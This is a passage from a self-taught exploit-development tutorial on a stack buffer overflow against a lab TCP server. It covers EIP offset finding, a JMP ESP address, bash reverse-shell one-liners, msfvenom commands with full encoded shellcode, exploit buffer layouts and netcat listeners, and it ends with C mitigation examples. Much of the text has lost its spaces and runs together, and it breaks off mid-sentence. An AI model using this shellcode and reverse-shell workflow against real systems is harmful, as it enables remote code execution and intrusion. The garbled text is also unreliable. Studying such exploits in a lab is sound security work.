ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

